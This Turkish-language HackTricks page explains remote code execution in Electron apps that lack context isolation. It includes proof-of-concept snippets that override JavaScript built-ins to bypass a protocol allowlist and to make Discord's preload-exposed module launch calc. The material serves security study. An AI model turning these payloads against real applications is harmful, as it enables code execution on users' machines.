Electron contextIsolation RCE via preload code

Reading time: 4 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Örnek 1

https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30 adresinden bir örnek

Bu kod, http(s) bağlantılarını varsayılan tarayıcı ile açar:

file:///C:/Windows/systemd32/calc.exe gibi bir şey, bir hesap makinesi çalıştırmak için kullanılabilir, SAFE_PROTOCOLS.indexOf bunu engelliyor.

Bu nedenle, bir saldırgan bu JS kodunu XSS veya keyfi sayfa navigasyonu aracılığıyla enjekte edebilir:

html
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>

SAFE_PROTOCOLS.indexOf çağrısı her zaman 1337 döndüreceği için, saldırgan korumayı atlayabilir ve calc'i çalıştırabilir. Son istismar:

html
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>

Orijinal slaytlara, izinler için bir istem istemeden programları çalıştırmanın diğer yollarını kontrol edin.

Görünüşe göre kod yüklemek ve çalıştırmak için file://127.0.0.1/electron/rce.jar gibi bir şeye erişmek başka bir yol.

Örnek 2: Discord Uygulaması RCE

https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1 adresinden bir örnek

Ön yükleme betiklerini kontrol ederken, Discord'un bazı izin verilen modüllerin DiscordNative.nativeModules.requireModule('MODULE-NAME') aracılığıyla çağrılmasına izin veren bir işlevi web sayfasına açtığını buldum.
Burada, RCE için doğrudan kullanılabilecek child_process modülü gibi modülleri kullanamadım, ancak JavaScript yerleşik yöntemlerini geçersiz kılarak ve açığa çıkarılan modülün yürütülmesine müdahale ederek RCE'nin elde edilebileceği bir kod buldum.

Aşağıda PoC bulunmaktadır. calc uygulamasının getGPUDriverVersions işlevini çağırdığımda açıldığını doğrulayabildim; bu işlev, devTools'tan "discord_utils" adlı modülde tanımlıdır ve RegExp.prototype.test ve Array.prototype.join yöntemlerini geçersiz kıldım.

javascript
RegExp.prototype.test = function () {
return false
}
Array.prototype.join = function () {
return "calc"
}
DiscordNative.nativeModules
.requireModule("discord_utils")
.getGPUDriverVersions()

getGPUDriverVersions fonksiyonu, programı "execa" kütüphanesini kullanarak çalıştırmaya çalışır, aşağıdaki gibi:

javascript
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== "win32") {
return {}
}

const result = {}
const nvidiaSmiPath = `${process.env["ProgramW6432"]}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`

try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []))
} catch (e) {
result.nvidia = { error: e.toString() }
}

return result
}

Genellikle execa, nvidiaSmiPath değişkeninde belirtilen "nvidia-smi.exe" dosyasını çalıştırmaya çalışır, ancak RegExp.prototype.test ve Array.prototype.join'ın geçersiz kılınması nedeniyle, argüman _execa'nın iç işleyişinde "calc" ile değiştirilir.

Özellikle, argüman aşağıdaki iki bölüm değiştirilerek değiştirilir.

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin